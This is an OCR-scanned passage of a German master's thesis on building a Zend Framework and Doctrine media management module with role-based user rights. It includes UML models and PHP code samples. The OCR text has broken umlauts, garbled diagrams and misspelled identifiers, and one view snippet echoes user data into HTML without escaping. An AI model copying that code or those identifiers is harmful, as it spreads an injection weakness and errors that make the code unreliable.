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Diese Masterarbeit beschaftigt sich damit, wie man flr ein bereits existierendes
Softwareprojekt ein eigenstandiges Modul entwickelt, das eine bestimmte

Funktionalitat dieser Anwendung realisiert.
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Entwurfsphase. Dabei werden die Besonderheiten jeder Entwicklungsphase und

die dabei verwendete Technologien und Vorgehensweisen beschrieben.

Zum Schluss werden die SicherheitsmalRBnahmen fir die Web Anwendungen

beschrieben und die im Projekt berticksichtigte SicherheitsmalRnahmen erlautert.
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Einleitung

1. Einleitung

1.1 Organisatorische Einordnung der vorliegenden Arbeit

Die vorliegende Masterarbeit wurde in der pitcom GmbH! erstellt. Die Aufgabe
bestand darin, fir das Projekt ,Termin und Veranstaltungsdatenbank® ein
selbststandiges Medienverwaltungsmodul zu programmieren. Diese Masterarbeit
wurde von der Seite der Westsachsische Hochschule von Herrn Prof. Dr. Georg
Beier betreut und seitens der Firma waren die betreuenden Personen Dipl.-

Ingenieur Hans-Jurgen Stiber und Olaf-Thiel Sonntag.

1.2 Gegenstand und Motivation

Diese Masterarbeit beschéftigt sich damit, wie man fur ein bereits existierendes
Softwareprojekt ein eigenstandiges Modul entwickelt, das eine bestimmte
Funktionalitdt dieser Anwendung realisiert. Da man Uber ein Modul spricht, muss
dies als Bestandteil des Hauptprojektes betrachtet werden, bei der die

Werkzeugauswahl angepasst auf das Hauptprojekt erfolgen muss.

Wahrend der Entwicklung des Projektes sollten Weiterentwicklungsmaoglichkeiten

bertcksichtigt werden.
1.3 Problematik und Fragestellung

Fir die Realisierung des Modules mussten verschiedene Umsetzungsmodelle
untersucht werden. Dabei sollte festgestellt werden, welches Modell optimal fir die

schnelle und fehlerfreie Speicherung hochzuladender Bilder geeignet ist.

Aus dieser Grundproblematik ergaben sich folgende Fragen, die im Laufe der
Masterarbeit beantwortet werden sollten:

¢ Wie ist das Medienverwaltungsmodul zu modellieren?

e Was muss Dbeachtet werden um die Erweiterbarkeit und

Weiterverwendbarkeit des Moduls zu beriicksichtigen?

1 Pitcom GmbH beschéftigt sich mit Entwicklung von Software in Mobile und Web Bereich. AuRerdem es stellt eine Web
Hosting zu Verfugung.
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e Wie erreicht man mogliche Datenbankunabhangigkeit, falls man spater eine
andere Datenbank verwenden will?

e Welche Arten von Bildspeicherung stehen zur Verfiigung?

e Wie klassifiziert man diese Methoden?

¢ Welche davon kénnen zu unserem Modell passen?

e Welche Funktionen kdnnen in der vorgegebenen Zeit umgesetzt werden?

e Welche Persistenz-Mechanismen sollten fir die Speicherung von Bildern

benutzt werden?
1.4 Aufbau der Arbeit

Diese Masterarbeit gliedert sich in sechs Kapitel. Im ersten Kapitel erfolgt die
Einordnung der Arbeit. Es werden die Hintergriinde und die Motivation fir diese
Masterarbeit beschrieben und Fragen gestellt, die durch sie beantwortet werden

sollen.

Das zweite Kapitel beschaftigt sich mit der stufenweisen Beschreibung der
Planungsphase fur die Web Anwendung. Als erstes werden die allgemeinen
Grundlagen dafur erlautert. Dann kommt die Aufgabenstellung sowie Verwendung
von theoretischen Grundlagen der zu entwickelnden Software. In folgenden
Abschnitten wird das Ergebnis der Planungsphase mit den grundlegenden

Geschaftsprozessen erlautert.

Das dritte Kapitel beschreibt die Entwurfsphase und das Zusammenspiel der

angewendeten Technologien.

Im folgenden Kapitel wird ausflhrlich auf die Implementierung des Moduls

eingegangen.

Im sich anschlieBenden fiinften Kapitel werden die Sicherheitsma3nahmen
erlautert, die bei der Entwicklung der Web-Anwendung zu beachten sind.
AuRRerdem werden die SicherheitsmaRnahmen beschrieben, die in der zu

entwickelnden Anwendung zum Einsatz kommen.

Im abschlieBenden sechsten Kapitel werden die Ergebnisse der Masterarbeit
zusammengefasst und die Weiterentwicklungsmoglichkeiten des

Medienverwaltungsmoduls gezeigt.
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2. Planungsphase

2.1 Allgemeine Informationen zur Planungsphase

Den Startpunkt der Entwicklung des Software Produktes bildet die
Planungsphase. Bei dieser Phase sollen folgende Maf3nahmen durchgefihrt
werden:

e Die prazise Formulierung der Aufgaben in schrifticher Form (Lastenheft).
Dabei soll die Funktionalitat der Software mdglichst prazise beschrieben
werden, da es sowohl im Interessenbereich des Auftraggebers als auch des
Auftragnehmers liegt. Im Fall von Missverstandnissen kann das Lastenheft
auch als gesetzliches Dokument dienen.

e Ansetzung von zeitlichen Grenzen fir die Entwicklung der Software. Der

Zeitrahmen wird durch die Bertcksichtigung von Qualitat (der Software),

Quantitat (Anzahl von Arbeitsstunden) und Kosten bestimmt.

Damit kann die Planungsphase abgeschlossen werden. Als Ergebnis stehen
folgende Dokumente zur Verfigung: Lastenheft, Projektkalkulation und

Projektplan.

2.2 Aufgabenstellung

Da man nur Uber ein Modul spricht, wurde die Planungsphase fur die
Veranstaltungsdatenbank  zwischen  Entwickler und  Firmen-Mitarbeiter
durchgefiihrt. Dabei hatte nur eine zustéandige Person den direkten Kontakt zum
Auftraggeber. Bei den Diskussionen zur Grundfunktionalitdt entstanden mehrere

Punkte, die sich durch folgende Abbildung beschreiben lassen.
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Erbt alle Rechte von Benutzer

%: e CRUD Aktionen fur Benutzer
Administr or

* Benutzersperrfunktion

Erbt alle Rechte von Gast

e CRUD Aktionen fur Bilder
¢ Bildersuchfunktion

Anmelderecht

Abbildung 1: Funktionsbeschreibung von Medienverwaltung

Dabei hat man drei Benutzergruppen — Gast, Benutzer und Administrator. Jede
Gruppe mit hoherer Funktionalitdt erbt die Rechte der niedriger stehenden
Gruppe. Unter CRUD versteht man das englische Create, Read, Update und
Delete. In Deutsch wird dies als Erstellung, Laden, Aktualisierung und Ldschen

bezeichnet.

Bei weiteren Uberlegungen wurden die folgenden zusatzlichen Funktionen
hinzugefugt, die in Abbildung 2 Abbildung 2: Erweiterte Funktionenbeschreibung

der Medienverwaltungbeschrieben sind.
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) *CRUD Aktionen fiir Administrator
POR..J « CRUD Aktionen fiir Rollen
*CRUD Aktionen fiir Rechte

) Erbt alle Rechte von Adminstrator

Erbt alle Rechte von Benutzer

*CRUD Aktionen fiir Benutzer
eBenutzersperrfunktion

Erbt alle Rechte von Gast

*CRUD Aktionen fir Bild
eBildersuchfunktion

Gast Benutzer die auf die Seite kommen

eAnmelderecht

Abbildung 2: Erweiterte Funktionenbeschreibung der Medienverwaltung

Hier hat man eine neue Benutzergruppe, den Haupt-Administrator, der solche
Rechte wie Verwaltung von Rechten und Verwaltung von Administratoren hat.
Diese Benutzergruppe hat dabei die Mdoglichkeit neue Benutzergruppen zu

erstellen und dazu passende Rechte zu verteilen.

Diese Projektfunktionalitat wurde dann im Pflichtenheft beschrieben, da man das
Lastenheft fur das Hauptprojekt schon hatte und als Auftraggeber in diesem Fall

die pitcom GmbH stand.

2.3 Pflichtenheft als Ergebnis einer Analyse der
Anforderungen

Als Standardvorlage wurde das Pflichtenheft aus [Balz] genommen. Dabei muss
man sagen, dass man bei der Erstellung des Pflichtenheftes einen Uberblick tiber
das ganze Projekt bekommt. Bei mehrfachen Diskussionen wurden nun die Rollen
von beteiligten Akteuren und die einzelnen Geschaftsprozesse identifiziert.

12



Planungsphase

2.4

Identifizierung der Geschaftsprozesse

Die folgenden Abbildungen zeigen die Geschaftsprozesse, die warend der

Erstellung des Pflichtenheftes identifiziert wurden. Das alles wurde mit Hilfe von

MagickDraw UML Diagrammen Erzeugungsprogramm in UseCase Diagramme

zusammen gefasst. Die Abbildung 3 zeigt dabei die Geschéftsprozesse die fir das

Modul realisiert werden.

package Data[ g usecase ]J

Medienverwaltung

==subsystem=>

—Bild hochladen —

P

——= ! In System | ‘\&
i T

- oo = (Bild in Datenbank
\ Bild in Datenbank hochladen)
hochladen

=1

~ e -
3 =<extend=> ‘\M
~ —
(Bild in Datenbank e B -
hochladén) < Bild bearbeiten | — Uuser
! ==include=>= /
==extend=> > 777/
| / Bildansicht -
o = RS
vj\& ~~ Worschaubild //Jli;:n(;”“\
o [ v Culnliien D
—
| — Adminstrator
‘//’ii;nstame’;';\

Abbildung 3: Medienverwaltung der Veranstaltungsdatenbank.

Die in Abbildung 4 vorgestellten Geschaftsprozesse zeigen uns die zur Verfiigung

stehenden erweiterten Funktionalitaten.
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package Data[ [£]) usecase y

Medienverwaltung

==gyhsystem== g]

Gast
Bild hochladen
extension points

Bild in Datenbank
hochladen

(Bild in Datenhank
hochladen)

~

<<extends>
(Bild in Datenbank =

hochladén) @
|

=<zinclude==
=<extend== >

oy
Bildansicht
andern 4
/—Q\— Vorschaubild i
enerieren 4 chte
System g @

2

7N
/ Us:r

’

=
~_ Adminstrator

A
Konstanten
definieren _/
Benutzer
verwalten
Administratoren %
verwalten / Haupt
. Administrator

Abbildung 4: Geschéftsprozesse der Medienverwaltung
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3. Entwurfsphase

3.1 Vorbemerkungen

In diesem Kapitel wird die Vorgehensweise bei der Entwurfsphase des Software
Entwicklungsprozesses beschrieben. Dabei werden solche Prozesse wie
Modellierung der Struktur des Moduls und Auswahl der zu verwendenden
Werkzeuge beschrieben. Ausgehend von einem ersten Modellentwurf wurde mit
der Implementierung des Moduls begonnen. Dabei erworbene Erkenntnisse

wurden fir die Weiterentwicklung des Modells verwendet.
3.2 Modellierung des Medienverwaltungsmodules

3.2.1 Einbindung in das Projekt

Im Allgemeinen ist das Medienverwaltungsmodul ein Bestandteil eines gréReren
Projektes unter den Titel ,Termin- und Veranstaltungsdatenbank®. Folgende
Abbildung 5 zeigt die grobe Darstellung des Hauptprojektes und die Anordnung

des Medienverwaltungsmoduls dabei.

Benutzerverwaltung Veranstaltungenverwaltung

Medienverwaltung Ticketverwaltung

Termin- und
Veranstaltungsdatenbank

Abbildung 5: Grobe Darstellung der ,, Termin- und Veranstaltungsdatenbank”
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Ein wichtiger Punkt der zu beachten ist, ist der, dass man fir das Hauptprojekt nur
die Medienverwaltung braucht. Als Weiterentwicklung wurden weitere wichtige
Teile wie die dynamische Nutzerverwaltung zum Modul hinzugefugt. Im néchsten
Abschnitt wird das Klassenmodell beschrieben, das die Bestandteile des Moduls

enthalt.
3.2.2 Modellkomponenten
3.221 Modellstruktur

Der Modellentwurf gliedert sich in 4 Pakete. Im Kernpaket (Core) sind die
Modellkomponenten zusammengefasst, die die Grundfunktionalitat des
Medienverwaltungsmoduls darstellen. Im Paket mit dem Namen Pitcom sind
Klassen enthalten, die zusatzliche Funktionen wie Filterung, Verschlisselung und
Validierung bieten. In weiteren zwei Paketen Zend und Doctrine kann man
Bibliotheksklassen fur das Zend Framework und flr Doctrine finden.

3.2.2.2 Mitarbeiter-Image Modell

Die Erlauterung des Mitarbeiter-Image Teilmodells soll anhand von Abbildung 6
erfolgen. Aus Griinden der Ubersicht werden hier die Beziehungen zu anderen
Teilmodellen nicht mit gezeigt. Diese sind im Anhang A zu finden. Bei diesem
Modell sieht man, dass jedes Medium (Image) einem Mitarbeiter gehdéren muss.
Dabei kann aber ein Mitarbeiter mehrere Bilder hochladen. Weiterhin kénnen sie

alle zugehorigen Attribute und Methoden sehen.

“=Model== ~=Model=
Applicaton_Model_Mitarbeiter Application_Model_Image

0.4
gehsnt zu

I_image 3 : Application_Model_image
=

Abbildung 6: Mitarbeiter-Image Teilmodell
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Abbildung 7 stellt die MVC Struktur des Teilmodells dar. Hier wird das Design vom

eigentlichen Workflow, das im Controller beschrieben wird, getrennt.

Eine

Besonderheit ist hier, dass die Form mit einer Hilfsklasse in der View dargestellt

wird.

==Model=>
Applicaton_Model_Mitarbeiter

-idl : int

-tstamp : Timestamp
-crdate : date
-hidden : int
-angelegt : int
-deleted : int
-name : String
-vorname : String
-nachname : String
itel : String

-firma : String
-plz : String

-ort : String
-telefon : String
-fax : String

-username : String

-password : String

-salt : String

-rollen : Application_Model_Rolle
-images : Application_Model_Image

==Views>
Application_Form_Mitarbeiter

-user
-translate

+__construct( user : Applicaton_Model_Mitarbeiter=null, options=array() )
+Hnit()

-email : String 9

+ggetlcl() : int

+setimages( image | Application_Model_Image ) : Application_Model_Image
+getimages() : Application_hodel_Image
+setRollen() : Application_Model_Rolle
+getRollen() : Application_Model_Rolle
+setTmstamp() : Timestamp
+getTstamp() : Timestamp
+setCrdate( crdate : date )
+getCrdate() : date

+setHidden( hidden : int )
+getHidden() : int

+setDeleted( deleted : int )
+getDeleted() : int

+sethlame( name : String )
+getName() : String

+setVorname( vorname : String )
+getiorname() : String
+sethachname( nachname : String )
+getNachname() : String

+setTitel( titel : String )

+getTitel() : String

+setFirma( firma )

+getFirma() : String

+setOrt( ort : String )

+getOr() : String

+setPassword( password : String )
+getPassword() : String

+setPlz( plz : String )

+getPlz() : String

+setSalt( salt : String )

+getSalt() : String

+setTelefon( telefon : String )
+getTelefon() : String

<<ufe>>

==<Cortroller==
UserController

+nit()

+addAction()
+indexAction()

+editAction()
+deletection()

+update( data, action, user )
+passwordAction()

==use=s

<<uses>
gehdrt zu | (1P

==Model=>
Application_Model_Image

g
-alttext : String
-description : String
-author : String
-creator : Applicaton_Model_Mitarbeiter
-copyright : String
-type : String
-size : int
-image : Image
-name : String

==Controller=>
UploadController

+init()
+indexAction()
+addAction()
+editaction()
+thumbnail&.ction()
+deleteAction()
+detailsAction()
+showAction()

ccudes=
v
==Vigws=>
Application_Form_Upload

-image = image
-originpfad : String
temppfad : String
-filentrans = null

+__construct( image=false, originpfad, temppfad, options=null )
()

Abbildung 7: MVC Darstellung des Teilmodells Mitarbeiter-Image

+getld() : int

+setName( name : String )
+gethame() : String
+setTitle( title : String )
+getTitle() : String
+setAftext( afttext : String )
+getalttext() : String
+setDescription( description : String )
+getDescription() : String
+setAuthor( author : String )
+getAuthor() : String

+setCreator( creator : Applicaton_Model_Mitarbeiter )

+getCreator() : Applicaton_Model_Mitarbeiter
+setCopyright( copyright : String )
+getCopyright() : String
+setType( type : String )
+getType() : String

+setSize( size : int )

+getSize() : int

+setimage( image : Imagick )
+getimage() : Image
+thumbnaillmage()
+deletelmageFromPath()

+resize( image, topath )
+getFullame()

+updatelmage()

+__get( name )
+getColumnilame()
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3.2.2.3 Mitarbeiter-Rollenbeziehung

==Model=>
Applicaton_Model_Mitarbeiter

-id © int

-tstamp : Timestamp
-crdate : date
-hidden : int
-angelegt : int
-deleted : int

-name : String
-vorname : String
-nachname : String
-titel : String

~firma : String

-plz : String

-ort : String
-telefon : String
~fax : String

-email : String
-username : String
-passwvord : String
-salt : String

-rollen : Application_Model_Rolle
-images : Application_Model_Image

+getld() : int

+setimages( image : Application_Model_Image ) : Application_Model_Image
+getimages() : Application_Model_Image
+setRollen() : Application_Model_Rolle
+getRollen() : Application_Model_Rolle
+setTmstamp() : Timestamp
+getTstamp() : Timestamp
+setCrdate( crdate : date )
+getCrdate() : date

+setHidden( hidden : int )
+getHidden() : int

+setDeleted( deleted : int )
+getDeleted() : int

+setMame( name : String )
+getMame() : String

+setVorname( vorname : String )
+getVorname() : String
+setMachname( nachname : String )
+getiachname() : String

+setTitel( titel : String )

+getTitel() : String

+setFirma( firma )

+getFirma() : String

+setOrt( ort : String )

+getOrt() : String

+setPassword( password : String )
+getPassword() : String

+setPlz( plz : String )

+getPlz() : String

+setSalt( salt : String )

+getSatt() : String

+setTelefon( telefon : String )
+getTelefon() : String

s

hat

1.4

==Model=>
Application_Model_Rolle

-id - int
-hidden : int
-tstamp : Timestamp
-crdate : date
-deleted : int

-bezeichnung : String

-beschreibung : String

-rechte : Application_hodel_Rechte
-mitarbeiter : Applicaton_Model_Mitarbeiter
-parent : Application_hodel_Rolle

+getld() : int

+setRechte()

+getRechte( rechte : Application_Model_Rechte )
+entferneRecht( element : Application_Model_Rechte )
+sethitarbeiter( mitarbeiter : Applicaton_Model_Mitarbeiter )
+gethitarbeiter()

+setTstamp( tstamp )

+getTstamp()

+setCrdate( crdate )

+setHidden( hidden )

+getHidden()

+setDeleted( deleted )

+getDeleted()

+setBezeichnung( bezeichnung )
+setBeschreibung( beschreibung )
+getBeschreibung()

+getCrdate()

+setParent( parent : Application_hodel_Rolle
+getParent()

+hasParent()

+getBezeichnung()

Abbildung 8: Teilmodell Mitarbeiter-Rolinbeziehung
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3.2.2.4 Rollen-Rechtebeziehung

=<hodel=>
Application_Model_Rolle

-idd : int

-hidden : int

-tstamp : Timestamp

-crdate : date

-deleted : int

-bezeichnung : String

-heschreibung : String

-rechte : Application_Model_Rechte
-mitarheiter : Applicaton_Model_Mitarbeiter
-parent : Application_Model_Rolle

+getld() : int

+setRechte()

+getRechte( rechte : Application_Model_Rechte )
+entferneRecht( element : Application_Model_Rechte )
+sethitarbeiter( mitarbeiter : Applicaton_Model_Mitarbeiter )
+gethitarbeiter()

+setTstamp( tstamp )

+getTstamp()

+setCrdate( crdate )

+setHidden( hidden )

+getHidden()

+setDeleted( deleted )

+getDeleted()

+setBezeichnung( bezeichnung )
+setBeschreibung( beschreibung )
+getBeschreibung()

+getCrdate()

+setParent( parent : Application_Model_Rolle
+getParent()

+hasParent()

+getBezeichnung()

bt

==Model=>
Application_Model_Rechte

-idd : int

-tstamp : Timestamp

-crdate : date

-hidden : int

-rollen : Application_Model_Rolle
-deleted @ int

-controller : String

-hezeichnung : String
-heschreibung : String

-rechte : Application_Model_Rechte

Abbildung 9: Teilmodell Rollen-Rechtebeziehung

+__construct()

+getld() : int

+setTstamp( tstamp : Timestamp )
+getTstamp() : Timestamp
+setCrdate( crdate : date )
+getCrdate() : date

+setHidden( hidden : int )
+getHidden() : int

+setDeleted( deleted : int )
+getDeleted() : int

+setController( controller : String )
+getController() : String
+setBezeichnung( bezeichnung : String )
+getBezeichnung() : String
+setBeschreibung( beschreibung : String )
+getBeschreibung() : String
+setRechte( rechte : String )
+getRechte() : String

+setRollen( rollen )

+getRollen() : Application_Model_Rolle
+setTstamp1( tstamp : Timestamp )
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3.3 Uberblick tiber die angewendeten Technologien

3.3.1 Zend Framework
3.3.1.1 Allgemeine Informationen

Zend Framework? ist ein Community basiertes Open Source Web-Entwicklungs
Framework. Da die Zend Community vom Zend Entwicklung-Team gefuhrt wird,
hat die Bibliothek einen gut dokumentierten, OOP basierten und sicheren
Quellcode. Dazu gibt es noch die Video Dokumentation® wo einzelne Falle
schrittweise beschrieben sind. Die Bibliothek besteht aus vielen Teilen mit loser
Kopplung und hoher Kohéasion, so dass diese problemlos einzeln verwendbar
sind.

Das Framework hat auch Mitwirkende aus mehreren bekannten grol3en
Korporationen, wie zum Beispiel IBM. Ferner unterstlitzt es Standards wie Web

2.0 Applikationen und verschiedene Web Dienste.

Die Komponenten des Zend Frameworks sind in Tabelle 1 abhangig vom

Anwendungsbereich, auf Gruppen verteilt, kurz beschrieben.

Zend Framework Zugehorige Funktionalitatsbeschreibung
Komponenten
Komponentengruppe
Model-View-Controller e Zend_Application, Die Komponenten basieren auf
Zend_Application_Bootstrap, o
MV _Application_
(MVC) Zend_Application_ Moule, dem Web Applikationen Pattern
Zend_Application_Resource MVC und geben die Mdglichkeit,
e Zend_Controller_Front, Entwicklern und Designern

Zend_Controller_Action,

Zend_Controller_Dispatcher,
Zend_Controller_Plugin, arbeiten.
Zend_Controller_Router

getrennt von einander zu

e Zend_Form

e Zend_Layout, Zend_View,
Zend_View_Filter,
Zend_View_Helper

Werkzeugbereitstellung | e Zend_CodeGenerator Eine der aufwendigsten

2 Offizielles Web Seite [Zend 1.11].
3 Video Dokumentation [ZC].
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und schnelle
Anwendungs-
Entwicklung (RAD)

e Zend_Reflection

e Zend_Tool_Framework,
Zend_Tool_Project

Aufgaben in jedem Projekt ist die
anféngliche
Anwendungsgrundeinstellung.
Hierfur stellt Zend Tools fir
wiederkehrende Aufgaben bereit.
Zend_Tool unterstitzt
Werkzeugbereitstellung und stellt
einen Befehlszeile-Client zur
Verfugung, mit dem man die

Projektstruktur generieren kann.

Datenbank

e Zend_Db, Zend_Db_Adapter,
Zend_Db_Prdfiler,
Zend_Db_Select,
Zend_Db_Table

Mit Unterstitzung von
verschiedene Datenbank
Adaptern kann man problemlos
die darunter liegende

Datenbanken austauchen.

Internationalisierung
(i18n) und
Lokalisierung (110n)

e Zend_Currency
e Zend_Date

e Zend_Locale

e Zend_Measure
e Zend_Translate

Bei steigender Globalisierung
braucht man Web Anwendungen
in verschiedene Sprachen.
Module zur Auslieferung
mehrerer Sprachen werden

angeboten.

Authentifizierung,
Autorisierung, und

Session Management

e Zend_Acl
e Zend_Auth

e Zend_Session

In jeder Web Anwendung hat
man Daten, die nur fur
bestimmte Benutzergruppen
sichtbar sind. Dabei benutzt man

diese drei Klassen.

Web und Web Dienste

e Consuming services:
Zend_Feed, Zend_Gdata,
Zend_Http_Client,
Zend_Rest_Client,
Zend_Service,
Zend_XmIRpc_Client

e Exposing services:
Zend_Amf_Server,
Zend_Json_Server,
Zend_Server_Definition,
Zend_Server_Reflection,
Zend_Rest_Server,
Zend_Soap_Server,
Zend_XmlIRpc_Server

Webdienste sind ein integrierter
Bestandteil des Zend
Frameworks. Durch enge
Zusammenarbeit mit Google,
Microsoft und Strikelron wurde
der Support fur die hier
aufgefiihrten Web Dienste

ermoglicht.

Mail, Formate und
Suche

e Zend Json
e Zend_Mail, Zend_Mime

Web 2.0 Anwendungen
verlangen Support fur Ajax, PDF-

21




Entwurfsphase

e Zend_Pdf

e Zend_Search_Lucene

Generierung, E-Mail
Kommunikation und Suche,
Bereiche mit immer steigender
Wichtigkeit. Zend Framework
vereinfacht die Entwicklung
dieser Funktionalitaten und hat
einen eingebauten Support

dafur.

Core Infrastruktur

e Zend_Cache, Zend_Config,
Zend_Console_Getopt,
Zend_Debug, Zend_Filter,
Zend_Loader,
Zend_Loader_Autoloader,
Zend_Log, Zend_Memory

Zend_Registry, Zend_Validate,

Zend_Version

Angefangen von Loggen zur
Verfolgung und
Fehlerbehandlung im
Produktionsbereich Ihrer
Anwendung tber das Caching
fir hohere Leistung bis zur
Verwendung von verschiedenen
Filtern zur Erhéhung der
Sicherheit.

Tabelle 1 :Zend Komponenten

3.31.2 Funktionalitat

Dieser Abschnitt beschaftigt sich mit der Funktionalitat und Beschreibung von

Zend Applikationen. Dabei wird erlautert welche Aktionen wahrend der Web-

Abfrage durchgefihrt und wie diese bearbeitet werden.

Zum besseren Verstdndnis, werden diese Aktionen durch Abbildung 10

beschrieben. Dabei sieht man, dass jede Abfrage an den Zend_Controller

weitergeleitet wird, genauer gesagt an Zend_Controller_Front, der das in [Fowl03]

beschriebene ,Front Controller* Entwurfsmuster * realisiert.

4 [Fowl03], Seite 344.
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Z =~ ZEND
® FRAMEWORK
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Content

Abbildung 10: Anfragenbearbeitung in Zend Framework

AulRerdem erfillt er folgende Aufgabe: Er soll eine Abfrage-Umgebung
initialisieren, die die eingehende Abfrage routet und dann die Anfrage an alle
angefragten Aktionen weiterleitet. Dieser Prozess wird auch Dispachen genannt.
Er fasst alle Antworten zusammen und gibt sie zurtick, wenn der Prozess beendet
ist.

,Zend_Controller_Front® implementiert auch das ,Singleton-Entwurfsmuster®. Das
hei3t, dass nur eine einzige Instanz dieser Klasse zu jedem Zeitpunkt existieren

darf. Das ermdglicht, dass der Front-Controller als Registry fungiert, in der alle

anderen Objekte des Prozesses Daten global verfugbar speichern kdnnen.

Zend_Controller_Front registriert einen Plugin-Broker in der Registry, der es
erlaubt, verschiedene Events, die er auslést, von den Plugins Uberwachen zu
lassen. Dies gibt dem Entwickler die Mdglichkeit, einen passenden Dispatch-

Prozess zu entwerfen, ohne den Front-Controller erweitern zu missen.
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3.3.1.3 Alternativen

Als Alternativen dazu kénnen solche Frameworks wie CackePHP oder Codelgniter
verwendet werden, die in vielen Quellen als fir Anfanger ganz gut Einsetzbar

bewertet werden.
3.3.2 Doctrine 2.0
3.3.2.1 Allgemeine Information

Doctrine ist ein Werkzeug fur Objektrelationale Abbildung (ORA) in PHP. Es setzt
auf der PDO®- API auf und besteht selbst aus zwei Schichten: DBAL(Database
Abstraction Layer) — Datenbank Abstraktion Schicht und ORM (Object Relational
Mapping) - Objektrelationale Abbildung. Folgende Abbildung zeigt die

Zusammenarbeit der Doctrine Schichten.

API fur Objektrelationale
Abbildung. Eine Briicke
zwischen relationalem Modell

und Objekt Modell / Domain
Modell l

Vollstandige Datenbank

Abstraktion API

Grundlegende API fir S\/ I
mehrere Datenbanken P D O

Abbildung 11: Zusammenarbeit von Doctrine Schichten und PDO

Die grundlegende Datenbank-Abstraktion/Unabhangigkeit, die durch PDO zur
Verfigung steht, wird durch DBAL vervolistdndigt und erweitert. Die DBAL

Bibliothek kann auch eigenstandig verwendet werden.

5 Die PHP Data Objects-Erweiterung (PDO) stellt eine leichte, konsistente Schnittstelle bereit, um mit PHP auf
Datenbanken zuzugreifen. Sehe [PDO].
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Doctrine ORM wurde aufgrund von solchen Entwurfsmustern wie ActiveRecord®,

DataMapper’ und MetaDataMapping® gebaut.

Durch die Erweiterung der spezifischen Basisklasse: ,Doctrine_Record®
bekommen alle Kinderklassen die typische ActiveRecord-Schnittstelle
(speichern/ldschen/usw.). Es erlaubt Doctrine leicht an Lebenszyklen von
Eintrdgen teilzunehmen und diese zu kontrollieren. Die echte Arbeit wird
grotenteils jedoch an andere Komponenten wie die Doctrine_Table Klasse

Ubergeben.

Das ActiveRecord Entwurfsmuster kommt mit seinen typischen Beschrankungen.
Das offensichtlichste ist die Erzwingung fur jede Klasse, um eine spezifische
Basisklasse zu erweitern, um diese persistent zu machen. Im Allgemeinen wird
das Design des Domain Models durch das Design relationalen Datenmodels sehr
eingeschrénkt. Es gibt dennoch eine Ausnahme: Wenn Erb-Strukturen bendtigt
werden, stellt Doctrine einige hoch entwickelte Data Mapping Strategien zur
Verfiigung, die dem Domain Modell erlaubt, vom relationalen Datenmodel

abzuweichen. Dadurch gibt es mehr Freiheit.

Als Schlussel-Konzept kann man DQL(Doctrine Query Language) — eine Abfrage-
Sprache von Doctrine betrachten. Dadurch bekommt man eine Moglichkeit
Abfragen fir einzelne Objekte oder flr zugebundene Objekt Gruppen

auszudricken.

Doctrine stellt verschiedene Wege zur Verfliigung um die MetaData Objekte und
Beziehungen zu spezifizieren:

e Dockblock Anmerkungen (dockblock Annotations);

o XML;

e YAML.

Im vorliegenden Entwicklungsprojekt wird es durch Dockblock Anmerkungen

gemacht. Ein Beispiel dazu zeigt der folgende Quelltext.

<?php

use Doctrine\Common\Collections\ArrayCollection;

6 [Fowl03], Seite 160.
7 [Fowl03], Seite 165.
8 [Fowl03], Seite 306.
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/**
* @Entity
* @Table (name="images")
*/
class Application Model Image implements Zend Acl Resource Interface,
Application Model UserOwnedInterface {
const THUMB WIDTH = 100;

/**
* @Id @Column (type="integer", length="11")
* @GeneratedValue (strategy="IDENTITY")
*/
private $id;
/**
* @Column (type="string", length="50")
*/
private $name;
/**
* @Column (type
*/
private S$title;
/**
* @Column (type
*/
private Salttext;
/**
* @Column (type = "string", length
*
*/
private S$description;
/**
* @Column (type = "string", length
*
*/
private S$author;
/**
* @ManyToOne (targetEntity="Application Model Mitarbeiter",
inversedBy="images")
* joinColumns={@JoinColumn (name="mitarbeiter id",
referencedColumnName="id") }
*/
private $creator;

/**

*

"string", length="100")

"string", length "255")

"400")

H5OH)

* @Column (type = "string", length
*
*/
private S$copyright;
/**
* @Column (type = "string", length
*/
private $type;
/**
* @Column (type
*/
private $size;
/**
* @Column (type = "blob", nullable="true")
*/

private $image;

"100")

"30")

"integer", length = "4")
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/**
* Erzeugt neues Image Objekt aus Datenbankzeile
* @param <string> $id Id der Datenbankzeile des neuen Images
*/

public function setId($id) {

Sthis->id = $id;

Quelltext 1: Model Application_Model_Image

Das ist ein Beispiel Modell, dessen Tabellenzuordnung durch die Anmerkung
@Table(name="images") zur Tabelle ,images“ beschrieben wird. Als Einleitung,
so das Doctrine die Modelle als zu mappendes Entity erkennt, wird @Entity
benutzt. Die Beziehungen zwischen einzelnen Modellen werden durch
Anmerkungen wie @ManyToOne beschrieben. Ist das Modell zur Datenbank hin
ausreichend beschrieben, gibt es die Madglichkeit die Tabellen mit allen
Beziehungen durch das Doctrine-Batchscript zu generieren. Das Anlegen der
Tabellenstruktur wird komplett von Doctrine abgenommen. Weiterhin bietet das
Doctrine-Batchscript Mdglichkeiten, um Modelle in der Datenbank zu verandern
und zu loschen. Ein Beispiel zum Anlegen des Datenbankmodells Uber die
Kommandozeile wéare der Befehl: doctrine orm:schema-tool:create (update,
delete).

Um Doctrine-Objekte in der Anwendung zu nutzen, stellt Doctrine den
sogenannten Entity-Manager zur Verfigung. Dieser stellt die Verbindung vom
Objekt zur eigentlichen Datenbank bereit. Folgendes Quelltextbeispiel zeigt wie

eine Ansammlung von Objekten aus der Datenbank ausgelesen wird.

public function indexAction () {
$layout = Zend Layout::getMvcInstance();
$layout->setLayout ('layout') ;
try {
Susers = S$this->getEm() -
>getRepository (self::ENTITY MITARBEITER)->findAll();
Sthis->view->users = S$Susers;
} catch (Exception $e) {
echo $e->getMessage () ;

}

Quelltext 2: IndexAction zur Anzeige einer Doctrine Object-Collection

|‘<?php foreach ($this->users as S$Suser): 2>
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<?php 1if (Suser instanceof Application Model Mitarbeiter): 2>
<tr> - -
<td><?php echo S$Suser->getName (); ?></td>
<td><?php echo Suser->getVorname (); ?></td>
<td>...</td>
<td><?php echo $this->collectionview (Suser-
>getRollen()); ?></td>
<td><?php echo Suser->getCrdate ()->format ("d-M-Y") ;
?></td>
<td><?php echo Suser->getTstamp ()->format ("d-M-Y");
?2></td>
</tr>
<?php endif; 2>
<?php endforeach; ?>

Quelltext 3: Teil der View zur Index-Action

Quelltext 3 zeigt wie mit Hilfe des Entity-Managers ein mit Anmerkungen
versehenes Objekt ausgelesen werden kann. Das Ergebnis der Funktion findAll()
wird an die entsprechende View(Quelltext 3) weiter gegeben und dort
ausgegeben.

3.3.2.2 Integration in Zend Framework

In Abbildung 12 wird gezeigt wie Zend_Model durch Doctrine Model ersetzt wird
